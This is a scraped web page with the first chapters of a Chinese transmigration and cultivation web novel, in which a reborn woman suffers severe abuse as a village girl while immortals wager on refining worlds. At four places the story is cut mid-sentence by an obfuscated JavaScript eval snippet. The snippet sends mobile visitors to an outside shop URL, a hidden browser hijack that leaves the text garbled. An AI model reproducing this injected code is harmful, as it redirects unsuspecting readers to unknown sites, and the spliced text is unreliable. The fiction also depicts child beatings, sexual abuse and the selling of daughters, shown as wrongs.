《衔泥燕》 1. 楔子之穿越 这是姜晗第二次来秦省。 寒假不是个旅游的好时机,然而她的年假再不用就要作废了。打工人的心酸打工人懂。这次她没有去往秦省省会,而是登上了前往西城县的大巴。 身为种花家女儿,拜女娲庙那是天经地义。 “女娲娘娘保佑,希望爸爸妈妈健康平安,希望我财管考试通过。”姜晗真诚祈盼,拜神心态十分天朝人。 正要离开女娲庙时,刚踏出门槛的脚不知踩到了什么,差点绊倒。 低头间,却见门槛前有一份竹简,上头还有一个脚印。 捡起竹简,只见色泽灰暗,简牍长短粗细不一,穿着的麻绳有几处断裂。 “这女娲山的旅游纪念品,做得跟古董似的。” 本打算将其交给景区工作人员,然而下一刻,姜晗停下了脚步,似是受到了某种神秘的吸引,她打开了竹简。 非简非繁,她不认得这是什么文字,却在看到它们的第一眼,便感受到难以言喻的深邃博大。 寄蜉蝣于天地,渺沧海之一粟。 姜晗感受到一种卑弱,之于天地、之于宇宙、之于众生的微不足道的,令人厌恶的,恐惧的卑弱。 这种卑弱,让她的每一眼观摩,都带给灵魂难以言说的刺痛和战栗。 痛苦告诉姜晗应该放手,可是手上的竹简仿佛一个黑洞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478605|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要将整个人都吸进去。耳边仿佛有一道声音,不停地让她跪下,匍匐在至玄至奥面前…… 就在她的双膝离地面只有几公分时,姜晗还未彻底沉睡的理智拼尽全力将她拉了回来。 “啪”的一声,她将竹简狠狠掷落在地,简牍四散。 这种仿佛鬼压床的感觉,让她心有余悸。 “太可怕了!什么情况?肯定是工作压力太大,精神疲乏导致的。嗯,一定是这样。” “富强民主文明……”反复默念核心价值观,姜晗穿过熙壤的人群,一个不慎,摔倒在地,脑袋磕在了石头上。 失去意识前,她似乎看见了一团五色光华…… 2. 楔子之比试 “鸿蒙浩荡,苍禹难穷,数不尽众仙宫。玉明光耀,清霄凌绝云空。皇极紫气九万里,何所往,遥北辰东。景阳照,青秋正好,缥缈孤鸿。抬手流月尺五,尘心双丝千结,瑶台朦胧。有吞天志,仗剑横渡远蓬。待到血洒黄泉河,幽冥路,笑痴儿梦。羡和鸣,长生寂情,知与谁同?” 头扎羊角辫,眉心朱砂痣的垂髫女童抱着空竹,疑惑地问身旁的白发老者,“爷爷,你念的是什么呀?” 老者对着天真的孙女,和蔼笑道:“爷爷念的,是我们苍禹天流传很广的一首祈仙词。” “祈仙?是祈求仙人保佑吗?” “不,祈的不是仙人保佑,祈的是仙人指路,指仙路。这词里,有苍禹天最强盛的四宗十派。” 女童全然没听老者的话,她兴奋地拉着自家爷爷的袖子,指着天上叫道:“爷爷,看,花。” 老者顺着孙女手指的方向望去,就见不知何时,天上飘落着数不清的飞花。 “天女散花,是天女散花。” 大家都涌上了街,抬起头,望见一道婀娜身影在空中若隐若现,忽而,就不见了。 无论怎么睁大眼,都看不清。看得清的,只是纷纷扬扬的飞花。 女童和其他的孩子一起蹦蹦跳跳,想抓空中飘散的花瓣。 她看上了一片最美的,伸手去抓,一阵风吹过,将那花瓣吹高,吹远…… 女童不顾身后老者的叫唤,追逐着,可不管她跑得多快,跃得多高,都跑不过风,跃不过风。只能眼睁睁的,看着那花瓣离她越来越远,越来越高,直到再看不见…… 花瓣凭风借力,竟穿透了云,回归它的来处。 云海上,十二天女手持花篮,穿梭于青冥。芳菲开道,香气四溢。身后,又有二十四仙侍分作两列,握扇提灯捧如意,奉香执剑持麈尾,华盖瑞气扬千条,宝幢锦霞耀万缕。仙侍身侧,数十匹白义天骢哒哒而过,马上金甲卫士威风凛凛,紧随的黄巾力士气势如虹。 遥遥传来一阵龙吟凤鸣,就见两条矫健蛟龙拉着一座宫阙飞渡而来,宫阙翠珠流丹,四周龙凤腾影,檐角金铃作响,行经处,云带天香。 宫阙来到一处大泽的上空停住。 波光粼粼的水面在阳光的照射下泛着点点碎金,轻烟细雾弥漫,远远望去,碧水青天,浑然一体。 忽见宫阙中射出一道金光,投向前方浮空。分明空中并无他物,可浮空金光竟如同被淹没了般消失不见。 与此同时,一道声音自宫阙里响起。 “皇极帝廷李颢,应邀来访。” 话音才落,只闻四周荡起一阵钟磬之音,浮空似水波荡漾,向两旁拉开天幕,露出内中的葱山翠峰。峰上琼楼玉宇,清泉流响,祥云缭绕,灵气氤氲。奇花斗艳,鹤舞猿鸣,平湖流光,锦鲤翻波。 又有一玉树临风的年轻人自天幕中来,对着等候的宫阙长揖,“弟子秦举,奉家师之命,前来迎接五殿下。” 李颢自宫阙而出,锦衣华服,风流倜傥。 一行人等随秦举入内,天幕重新拉上,大泽又是一片风平浪静。 秦举命人将李颢的随从安置妥当,自己则引着李颢前往峰顶主宫。 “这混渊洞天,是贵宗掌门赐予你师父的吧?” “五殿下说得不错。因师父丹成一品,掌门师祖特赐的。本来,清霄宗弟子丹成上品者,可得一处福地修行。但师祖与众长老觉得,一品丹不比寻常上品,当得一处洞天。这之前不是没有先例,我师伯杜真人,亦是因丹成一品而得洞天。” 二人并不火急火燎,循着袅袅仙乐,只做闲庭信步。 待到峰顶,见一巍峨宫殿。秦举推开宫门,霎时,脂香扑鼻,欢笑入耳。秦举请李颢入内,随后关上宫门,退了下去。 丝竹管弦声悠扬,翩跹曼舞影婆娑。更有鲛人清歌绕梁,娓娓空灵。 “李老五,你总算到了,来瞧瞧我送给晏二的礼物。”东海四太子敖通指着唱歌的鲛人,“这是下界鲛人族进献的贡男,是他们斛珠部的王子。听听这歌声,入耳否?你要是也喜欢,我那儿正好还有他们献的贡女,就是这王子的妹妹,不但歌声美妙,更生得花容月貌。我六弟都来找我好几次了,我都不舍得。你如果要,我就忍痛割爱吧。” “二兄,你这混渊洞天怎么尽是靡靡之音和呛人的脂粉味?”李颢故作大声,又装无意地看向敖通,“哎呀,原来是四太子在此,怪不得,龙性本那啥嘛。” 敖通推开爱姬缠着他的手臂,笑道:“我这是真龙真风流,怎么?嫉妒本太子女人缘比你好啊?” 李颢回以一声冷笑。 敖通抚摸着膝上美人的脸,揶揄地说:“还以为你去了巫神殿修行后,会改改从前的习气,没想到还是这么喜欢摆排场。咱们只是小聚,你还弄一群人浩浩荡荡的,就不能朴素点?” “你这龙宫之人……不,龙,没资格说别人好排场。”李颢入座,瞧了瞧敖通的两侧,“喜新厌旧还挺快?” “我就知道。”敖通对着主位之人道,“晏二,我说的吧,你五弟还因为那女修之事,记我的仇呢。” 转头看着李颢:“早知你真这么喜欢她,我就不和你抢了。回去我把她送你府上,如何?” “什么庸脂俗粉,你当宝,我可不稀罕。” “这里到底是晏师弟的洞府,你们难道真要为一个女人吵起来?也不知晏师弟看不看得下去?” 开口的是北辰剑宫大弟子王文尧,字向贤。一派冷肃,给人拒人于千里之外的模样。事实上,他也的确难以亲近,尤其看不上李颢和敖通的浮浪行径。 “习惯就好。”主位上的人开了口。 晏清都懒得去瞧一人一龙的丢人模样,只一边撑着头,一边轻点桌案,和着鲛人王子歌声的节拍。他一身宽袖大炮,轩然霞举,发束青玉莲华冠,面如白玉,眉清目朗,薄唇似笑非笑。远看,似云绕青山之沉静;凑近,如冷夜星落之寒凉。 “向贤,你也太无趣了。总是这么一本正经,万花不曾过,片叶不沾身。”说着,敖通突然好奇,“那你的欲念关要怎么办?” 王文尧淡淡道:“总归不似你这般。还有,别喧宾夺主,莫忘了是来干什么的。” 敖通一拍龙角,“差点忘了,李颢,今日主角,可是你和晏二啊!” 李颢呵呵道:“早猜到了。不就是那个金丹比试嘛。我是没赢,可也没输。二兄,你的一品丹是比我这二品丹强,可我结丹比你早上三年。你说,这输赢,怎么算?” “二品、一品,差之毫厘,谬之千里啊!怎么能叫你没输没赢呢?”敖通嚷嚷。 “敖通,当时的比试是比结丹,没说是比速度还是比品级。” 一人一龙,再次打起嘴仗。 王文尧揉了揉眉心,觉得这俩货实在烦人。 “五郎说得不错。”晏清都道,“论修行速度,该是五郎胜出,论金丹品级,是我略胜一筹。既如此,此局平手,我们再比一局如何?” “兄长有此雅兴,做弟弟的当然奉陪。怎么比?” 晏清都摄来一件法器,名万方星界图,随手一展,高下五丈五,左右九丈九。 他指着图中恒河沙数般的星斗,道:“你我各择一处不属于任何势力管辖的芥尘界,之后各凭本事熔炼,如何?” “熔炼世界?我还当什么不得了的比试。”李颢不以为然,“二兄莫不是忘了,帝廷皇子结丹后的试炼便是熔炼一界,成为一方小世界之主。你我少不得接受这任务。莫非,你是想比谁先完成?” “是,但是得换一个玩法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478606|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “怎么说?” “以往熔炼小世界,帝廷皇子可随意调动自己能力以及权力范围之内的资源,这次比试则不然,你我最多只能带两人帮忙。” 李颢闻言,点了点头,“可以。” “五郎莫急,为兄话还没说完。此次熔炼世界,以百年为期,你我……” “百年!”李颢叫道,“区区芥尘之界,修为至高不过引气,需要耗费百年时间?这不耽误我成就元神吗?” 敖通一口酒差点喷出来,“得了吧,李老五,一百年内成就元神?你怎么不说自己是大道本源或鸿蒙异种,那样一出世就是真仙甚至金仙了。” “我说的是耽误成就元神,没说一百年内成元神。还有,元神境界可以从长计议,二百年后的争元大会,可容不得耽搁。” 王文尧点点头,“百年,是长了些。” “并不算长。”晏清都道,“我话还没说完。别忘了,许多芥尘界的时间流速和苍禹天不同,苍禹一年,芥尘界两年、三年甚至更久。” “芥尘界和苍禹天时间流速不同,可你我一旦入界,自身经历的时间便与世界一致。芥尘界百年,于我们,是真实的百年。” “那若是化身入界呢?五郎,你我以化身入界轮回转世,熔炼世界皆由化身处理,真身还是各自修行。如此,两不耽误。” “这倒是可以,不过转世的话……”李颢皱眉。 “转世不难,但是化身转世后如何破解胎中之谜,是个麻烦。”王文尧说出了关键。 “这就是趣味所在。”晏清都道,“比试必须自行破解胎中之谜。” 王文尧道:“这难度是不是太大了?便是元神修士转世,凭自身力量破解胎中之谜的可能性也很小。你二人的化身很可能永远不知道自己要干什么。真这么比,搞不好又是个平局,还是个双输平局。” “是有这种可能。但化身历练最终都会回馈真身,这是红尘炼心的一种。能体悟红尘,便是输又如何?五郎,这一局,你我真身不下场,可化身的本事也是本事,化身的机缘也是机缘。是碌碌无为茫然一生,还是成为一方世界之主,端看百年之后了。” 对着李颢举起酒盏,“历红尘百载,胜诵经百年。五郎,如何?比是不比?” 李颢拿起面前酒盏,一饮而尽。 “奉陪到底。” * 北辰剑宫中,一名风华绝代的妇人闭着眼,慵懒地扇着扇子斜倚贵妃榻,听着王文尧的回话。 “又比试?云遐这孩子,好胜心还是那么重。熔炼世界不算新奇,但红尘炼心……” 云遐,便是晏清都的字。而眼前这艳绝苍禹的妇人,便是晏清都的母亲晏流锦。 “师母可是担心晏师弟陷入情劫?” 红尘炼心之途,最令修士闻风色变的便是情劫。 “情劫不止在红尘,在苍禹,更在诸天万界。情生情灭,劫起劫落。情劫之真在情,情劫之意在劫,偏偏成劫之情,原也失了情之真意。”晏流锦转了转扇柄,浅浅一笑,映得头上星海穹顶的群星暗淡三分,“云遐选了哪个小世界?” 王文尧对着星海穹顶的一角遥遥一指。 “竟是这里?” “可是这方世界有什么不妥?” “妥与不妥,都是他自己选的。”晏流锦从扇面摘下一颗宝石,“交给独孤平,让他保管好。” 独孤平,是晏清都的侍从,和晏清都的亲传弟子秦举同为此次比试的帮手。 宝石悬浮空中,王文尧犹豫未接。 晏流锦缓缓睁开眼。 王文尧立马应承,“弟子这就去。” 他走后,晏流锦望了望穹顶,“天人灵修,原界异数,倒也有趣。一场比试,几多痴妄,端看造化如何落笔。” 3. 村庄 从南晟兴州天临山顶向南眺望,就是大江。 自雪山而生的江水挣脱寒冰的束缚,怀揣着初生孩童的天然热忱,湍流奔涌,历经数千里之遥,终是疲倦,来到兴州的天临山脚,长成温柔的女郎,秀丽的青丝散开,蜿蜒成清澈的玉带。 两岸数峰青,一江千水明。 大江哺育南晟数州之地和千万黎庶,故又名安江,取安享太平,安居乐业之意。 安江支流繁多,无数溪河因它而生。 在兴州最为有名的,当数窕河。这条河水自百年前人工改道,变成了连接月湖与安江的桥梁。 月湖,是兴州一景,尤以中秋湖景为一绝,与皓月交相辉映,宛如明镜,因而又被称为镜湖。 窕河不仅为月湖注入了安江之水,亦流经千家万户,便是偏远的蜜水村,亦享受它的恩泽。 而今正值冬月,约莫寅初时分,天色昏沉,许多人尚在梦乡中…… “吱呀”一声,一个瘦小的身影从茅屋中走出,顶着凛冽的寒风,左手提着木桶,右手抱着装满脏衣的木盆,身后绑着一根三尺多长的冰镩子,向着村头的小河走去。 昨日下了整整一天的雪,河水早已结了冰。 小姑娘沿着冰河走走停停,时不时用木桶敲击冰层。不到一盏茶的功夫,找到了最薄的冰面。 放下木桶和木盆,解下身上绑着的绳子。 “当啷”一声,冰镩子掉在了地上。 小姑娘窝起双手,对着呵了呵气,从盆里拿出一块布条,撕成两半,在两只手上绕了好几个圈。绕结实了,拾起地上的冰镩子,用力往冰上凿。 “咔嚓咔嚓”,好一会儿,冰纹自着力点向外游走半尺之距,轰然裂开。 咕嘟咕嘟,冰下的水喷泉似的往外冒。 呼了一口气,解开手上缠着的布条,就着冰冷的河水,小姑娘坐在河边洗衣。 时移世易。 上辈子的自己身为独生女,从来娇生惯养。爸爸妈妈连家务活都舍不得让她做,更别说这种只在电视和小说中才能见到的活计了。 姜晗不明白,种花家十四亿人口,怎么就她这么倒霉? 一趟旅游,一个摔倒,一步之下,换了人间。 姜晗穿越了,胎穿。 和许多小说中的穿越者不同,她没有系统,没有随身空间,什么都没有。甚至在穿越之初,她便遭受了一场难以想象的折磨。 这个折磨便是胎穿本身。 胎穿是不少作者推崇的穿越方式。它让主角可以从零开始融入世界,没有鸠占鹊巢的负罪感,不需要装作失忆应对原身的亲朋好友。 可是那些作者没有告诉姜晗,在母体中觉醒意识的胎穿,是多么令人痛苦。 黑暗中,除了思考和偶尔的翻动,什么都做不了。时不时有水流的声音,在逼仄的环境中更添恐怖。 觉醒意识的时候,姜晗根本不知道发生了什么。绑架、重病、灵异事件、穿越,什么奇怪的理由都想过了,可也只是猜想。 彼时什么也做不了的她没有办法确定自己的情况。更甚者,她都无法确定自己还是不是人的形态。 孤独和无力凌迟着她的精神。 她不知道,这种折磨要持续多久。 为了不让自己麻木,只要醒着,姜晗就努力地回忆从小到大发生的一切,趣事糗事无聊的事,甚至老板的心灵毒鸡汤。 所有能回忆的,都成了支撑自己的精神食粮。 终于,她听到了外界的声音。 那一刻,姜晗有种想要哭泣的冲动。然而她无法哭泣,只能用伸展和翻转,表达自己的激动。 明明只是一段听不太懂的语言,姜晗却燃起了希望。 时间久了,成人的理解力和胎儿对语言的敏感度让她渐渐明白了自己的处境。 她胎穿了。 当答案揭晓,悬着的心终于放下。 于是她开始思考另一个问题:为什么会胎穿? 她自然想到了竹简,还有那道五色光华,或许它们就是造成这一切的罪魁祸首。 姜晗不是没有幻想过它们是金手指,会给自己带来机缘。然而直到七年后的现在,都未显示过存在的痕迹。 于是姜晗只能强迫自己努力活下去。 前世二十七年的人生,让她曾觉得是有倚仗的。她多了一世的经历,有成人的理解力和判断力,比起一无所知的懵懂孩童,优势显而易见。 然而姜晗错了,正因为这种优势,她心灵上遭受了更大的痛苦。 因为得到过阳光,所以无法忍受黑暗。因为拥有过美好,所以难以承受不幸。 这辈子,她出生在晟国北部的一个叫蜜水村的偏僻山村,接触的人皆是古人装扮。 姜晗马马虎虎的历史成绩告诉她,种花家没有一个叫晟的朝代,十有八九是穿越到陌生的异时空了。 她没法从周围人口中得知更多信息。穷乡僻壤的山村,村里人的见识自然是有限的。 姜晗只知道晟国以前很强大,是一统天下的大晟王朝,现在偏安南方。自己所在的村子位于晟国兴州,靠近边境。边境以北,有个叫魏的国家。除了魏国,北边还有个强大的黎国也和晟国接壤。还知道蜜水村归属于上滁县管辖,除此之外,便什么都不知道了。 她也没太多空闲去打听消息,因为在这个村子,活下去,就耗费了她所有的力气。 蜜水村,村名有蜜,日子并不甜蜜。 她这辈子的亲生父亲冯大叫她赔钱货、贱货。 他们家的被子是稻草芦花。这不属于姜晗和她今生的姐姐,只有那个带把的弟弟才有资格拥有。 方便没有手纸,只有石块和竹片。一年四季,她只有一双草鞋,两件有许多破洞和补丁的衣服。 挨打挨骂是家常便饭,每天都有做不完的活,从来没有吃饱过,没有洗过澡,只能偷偷用湿布擦身。 城里长大的姜晗会阳台种葱,可不会真正种地。作为一个文科生,她不会做肥皂、玻璃。某站上各类非遗手作视频也就是看个乐呵,道声佩服。 上辈子学过书法,可身体没有跟着转世,一切都得从头开始。况且愚昧落后的蜜水村并不要这个。这里没有读书人,便是村长,也识字不多。 现代文明的优越感,在现实面前不堪一击。 姜晗愤愤用手上的棒槌敲打着衣服。 她一定要离开这里,带着这辈子的母亲,离开这个鬼地方。 想到母亲,姜晗敲打的力道渐渐轻了,眼泪夺眶而出的那一刻就被冻成了冰。 她这辈子的生母,是个被骂作疯婆子的哑巴。 可姜晗知道,母亲不是天生的哑巴。她的舌头,是被人硬生生割掉的。 母亲不属于这个村子,她会写字,写得很工整、漂亮。 “我要带她离开这里,离开这里。”姜晗一声声说着,狠狠地敲打着衣服,“离开,离开……” 冰水中倒映出一个七岁孩子的脸,一头枯黄的短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478607|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发乱蓬蓬的,杂草一样生长,瞧着像顶了一个凹凸不平的锅盖。 孩童剃头是这里的习俗。冯大会在宝贝儿子的额前留一小片桃形发束,说顶着小寿桃,百病不侵,长长久久。但冯大不会为姜晗精心修剪,每次都是粗暴地剃光,等头发长得影响她干活时,再剃光。 看着水中倒映的“锅盖”,想来过不了几天,又会成一颗光溜溜的卤蛋了。冬风吹过头顶,那叫一个醒神。 除了丑锅盖,更惹人注目的,是面上通红的冻伤和东一块西一块的乌青,还有那口发黄的牙齿。 穿越后,她就没有刷过牙,只能嚼柳枝简单清洁。至于什么用盐清洁就别想了,对村里的每一户人家来说,盐巴都是宝贵的。 姜晗再也忍受不住胃里的恶心吐了出来,肚里空空,只有酸水。 “我要离开!我要离开!我要离开!” 激愤的誓言是带不来命运的恩赐的。 收拾好衣服和工具,又得回那个她根本不承认的“家”了。 那实在不是个温馨的地方。姜晗宁可在河边吹寒风,也不想去。虽然这条河,也曾是她的噩梦。 河水承载的,不仅仅是劳作的繁重,还有绝望。 姜晗记得,那是两年前的二月初三,是她这辈子的生日。那日的天气并不好,雨要下不下,乌云压得人喘不过气来。 生日蛋糕是天方夜谭,一碗生日面同样遥不可及。五岁小寿星得到的,是一顿毒打,是被今世的生父扔进冰冷的河水里。 “小贱人,敢偷懒,敢撒谎!” 女儿是什么?在蜜水村的人看来,女儿有三个用处:溺死、干活、换钱。最大价值是换钱,换不了钱的时候,就是可被透支压榨的劳动力。 姜晗的价值也是如此,该任劳任怨累死累活。 因为得不到充分的营养,她长得瘦小。可她的力气天生不小,甚至比同龄的男孩子还要大些。她不敢表现出来,因为她明白,一旦被人发现自己力气大,就会被逼干更多更重的活。 可惜,姜晗自以为瞒得好,还是露出了马脚。 巴掌和不堪入耳的辱骂雨水般砸向她,从护着头脸的手臂缝隙中,姜晗看见亲生弟弟幸灾乐祸的笑。 “你还敢挡!你还敢躲!” 一脚狠狠踹上她的肚子,姜晗痛得五脏移位一般,还不及捂住,她已经双脚腾空,待反应过来,已是伸手无着,蹬脚皆空,四周一片朦胧,偶尔似有什么东西一晃而过,又有什么东西摇摆着,是游鱼和水草。 河水拉着姜晗的身子往下沉,拉着她的意识往下沉。 原来这条河,这么深…… 这样也好,或许,我可以回家了…… 太阳拨开了乌云,透出了一束光。 爸爸、妈妈…… 原来,我从没长大。 那么,可不可以让我,再看你们一眼?我已经,很久,很久没看到你们了;我已经,很久,很久没有叫你们了。 爸爸、妈妈…… 太阳的光,打在了河面上。 姜晗抬头,恍惚的她并没有看到父母的面容,只看到灿烂到刺眼的雪亮光芒,在她的头顶浮动着。 触碰它,游向它,就是我的家了。 姜晗奋力地挣扎,四肢狗刨一般。河水灌入鼻腔的酸胀,胸腔火辣的疼痛,带来的不是痛苦,是知觉的复苏,是活着的证明。毫无章法的狗刨,让她奇迹般地,游向了光。 许久,一只小小的手,伸出了水面…… 4. 火光 姜晗拿起了洗衣盆和冰镩子。 拖拖拉拉了半个多时辰,不想回去也得回去,很多事情,不想面对也必须面对。就如两年前的二月初三,姜晗游出水面,看见的依然是愚昧的村庄,丑恶的嘴脸。 姜晗往回走着,经过一处草垛子时,沉浸在思绪中的她被一条绳子绊了一跤,摔倒在地。刚洗干净的衣服都落在了地上,沾了许多灰和脏雪。 “哦!摔咯摔咯!”躲在草垛子里的男孩儿跑了出来,拿起小弹弓,把地上的小石子弹到姜晗身上。 姜晗的身体被大冷天冻得有些麻木,这一颗颗石子打在身上,倒没觉得特别的疼。 小男孩儿见她不叫疼,有些气,眼珠子滴溜溜一转,跳到了地上的衣服上,两只脚踩来踩去。 “哈哈,好玩儿好玩儿真好玩儿。”眼见姜晗恨不得吃了自己的模样,小男孩儿往下拉了拉自己的眼皮做鬼脸,“略略略,白洗咯!” 将衣裳丢在姜晗的脸上,“还不快去重洗。” “小畜牲!” “你敢骂我!”小男孩气得又拿弹弓对着姜晗弹石子。 姜晗气急,她一下子扑向小男孩,把他压在身下,左右开弓,狠狠地抽他嘴巴子。 男孩比如今的姜晗小一岁,但他在父亲的呵护下,又因为男性和女性的天生差异,远比姜晗长得高壮。 然而他年幼又如何?自己瘦弱又如何? 被迫干活的时候,有人在乎自己也年幼吗?背着和自己身高差不多的冰镩子的时候,有人在乎她的瘦弱吗? 七年的忍耐、压抑、怨恨、回忆中希望破灭的绝望,在此时此刻,达到了承受的极限。 爱幼的美德被姜晗抛到了九霄云外,高壮的男孩被瘦弱的她打得毫无还手之力。 “小畜牲,猪狗不如的贱东西。” 姜晗骂骂咧咧,什么讲文明懂礼貌,这破地儿比的就是谁嗓门大拳头硬。 小男孩惨叫着嚷嚷,“我是你亲弟弟,你敢打我,你敢骂我,我让爹爹抽死你。” “你有本事你就去啊!信不信,在你去之前,我先打死你。” 小男孩哇哇大哭,“爹爹救我!爹爹救我!” “我让你叫!”姜晗抄起一把雪,直接塞进男孩儿的嘴里,冻麻了他的舌头,把他呛得满脸通红。 “宝儿?宝儿?”听见了儿子的求救声,屋子里的男人急吼吼跑了出来,一眼就瞧见自家那赔钱货在殴打宝贝儿子。 “贱货!你敢打你弟弟,我打死你!”男人蒲扇般的巴掌狠狠扇向姜晗的脑袋。 七岁的小女孩儿摔倒在地,脑袋嗡嗡直响。 “宝儿快起来。”男人扶起儿子,连连给他顺气拍背,让他把嘴里的雪吐出来。 “贱货,你竟然要害死你的亲弟弟,你个歹毒的丫头。”男人气急,四下张望,看到洗衣盆里的棒槌,一把抄起,对着姜晗的身子就是一顿好打。 “打死你个破烂赔钱货,敢打你弟弟,敢断我冯家的根,看我不打死你!” 姜晗冻麻的身子从不疼到深疼,又从深疼回到麻木。 唯有心中的愤恨,越积越多,爬上了双眼,染了一片血红。 她伸手,抓起了不远处的冰镩子,往男人身上一刺。 “啊!”男人捂着流血的肩膀,“反了天了,你敢伤老子!” 姜晗用捅穿男人小腿作为对他狠话的回应。 “你再打,我就弄死你!” 男人倒在地上,看着冰镩子尖尖上滴落的血,心中又是恐惧又是愤怒,“来人呐,反啦,杀亲爹啦!” 三人的动静不引起别人注意是不可能的。 村子里的人都涌到了草垛子前。 人多势众,大多又是有力气的壮汉,姜晗知道,自己没有胜算。现在唯一能依靠的,就是这根冰镩子。 “不许过来!”姜晗挥舞着冰镩,一时众人不敢上前。 “谁要是过来……” “啊!”地上的男人又是一声惨叫,是姜晗刺穿了他的手掌。 “我杀了他,我说到做到!” “那可是你亲爹,你不能做这种事儿啊。”村长从人群中走出来,急道。 “他不仁,我不义,他不慈,我不孝。因由全在他那儿,见官也好,见阎王爷也罢,油锅里滚一回,我也不怕!” 软的怕硬的,硬的怕横的,横的怕不要命的。 如今的姜晗,显然是不要命的。 就在这时,一个蓬头垢面的女人冲了出来,哭着跪在姜晗面前。 看着她身上的脏污,闻着她身上恶心的味道,姜晗知道,村子里的男人又欺负母亲了。 这里的每一个男人,包括一只脚踏进棺材板的村长,都欺负过她。 他们总是把她弄得很脏,他们的女人和孩子,也总是用最肮脏的词汇侮辱她。 不管母亲如何用河水清洗,第二天,又是同样的遭遇。 她只能一直洗,洗身上永远洗不干净的东西。 姜晗见过,愤怒过,哭泣过,忍耐过。终于在两年前,忍无可忍的她冲向了对母亲作恶的施暴者…… 然而她依然阻止不了母亲的遭遇。就因为这次出手,姜晗暴露了隐藏力气的事实。 “你娘都给你跪下了,你难道还要杀亲爹吗?”村长用力敲了敲拐杖。 “那又如何?不杀他,难道你们就会放过我吗?既然不杀是死,杀也是死,倒不如一命换一命!” “这么歹毒的丫头,不能留她!”一个壮汉叫道,“沉河!” “对!沉河!” 群情激奋,向姜晗围拢。 蓬头女人啊啊叫着,对着村长咚咚地叩响头。 姜晗的冰镩子指着那名为父亲的咽喉,咽喉处滴出了血。 她会动手的。 逼急了,她一定会动手的。 围观的人继续向姜晗逼近,上辈子连只鸡都没杀过的姜晗努力控制着自己。 不能抖,不能抖! “听我说一句!”村长家的儿子突然叫道,“冯家丫头从前多乖巧,你们又不是不知道。冯大总是打骂,兔子急了还咬人呢。冯大,不是我说你,好歹也是你亲闺女。这次,依我看,你们父女俩各退一步,算了吧。” “不能就这么算了。小小年纪就这么歹毒,将来还不翻了天?沉河!” “什么乖巧?她两年前就打过人,早就该沉河了。” “对!” “沉河!”“沉河!”…… 村长儿子见状,拉了拉他爹的衣袖。 “都给老子闭嘴!”村长又重重敲击拐杖,“冯大是冯家丫头亲爹,她下不了这狠手。再说了,小丫头到底一条人命,今天也是一时气愤。都听我的,不许沉河。但是冯家丫头今天伤了亲爹,不能不惩罚,今天开始,连着三日,不许给吃喝,关起来。” 他们会这么好心? 姜晗不信。 可让她真要亲手结果一个人的性命,她还做不到。 就是这一瞬的犹豫,村长的儿子一下子夺过姜晗手中的冰镩子,用麻绳把她绑起来,扔进了村口的黑屋子。 “你怎么想的?”回到家,村长问儿子,“这么恶劣的丫头,死了就死了呗。” 村长儿子嘿嘿一笑,“那也太可惜了。这丫头没随冯大,长得像她娘。别看瘦瘦小小,模样漂亮着呢。与其弄死了,倒不如给我算了。” “色迷心窍的东西。怎么和村尾的跛子一样喜欢小丫头,这么小的丫头能怎么弄?” “等她大些呗!爹,去知会冯大一声,咱先把那丫头买回来,自己养着放心。再说了,她人勤快又识数,带回家里好使得很。” 村长叹气,“你呀你呀。” 晚上,黑屋子里,被绑缚的姜晗死死盯着门口,好像看见了一群人乌压压地冲进来,把她扔进了河里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478608|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >吱呀一声,门开了。 姜晗整个人高度紧张。 门外的人走了进来。 “娘?”姜晗放松下来,“娘,你怎么会来?没人拦着你吗?门没锁吗?” 母亲蹑手蹑脚关上门,急急给姜晗松了绑,比划着:“他们都睡了,没人拦,你人小又被绑着,他们不上心,门上的锁就是个摆设。但是你有大麻烦了,冯大要把你卖给村长的儿子。” “我就知道,这些人怎么会好心放过我,果然别有用心。”姜晗道。 冯大卖女儿不是第一次了。 去年夏天,姜晗九岁的亲姐姐,以两百文钱加五斤米的价格,被卖给了村尾的跛子。 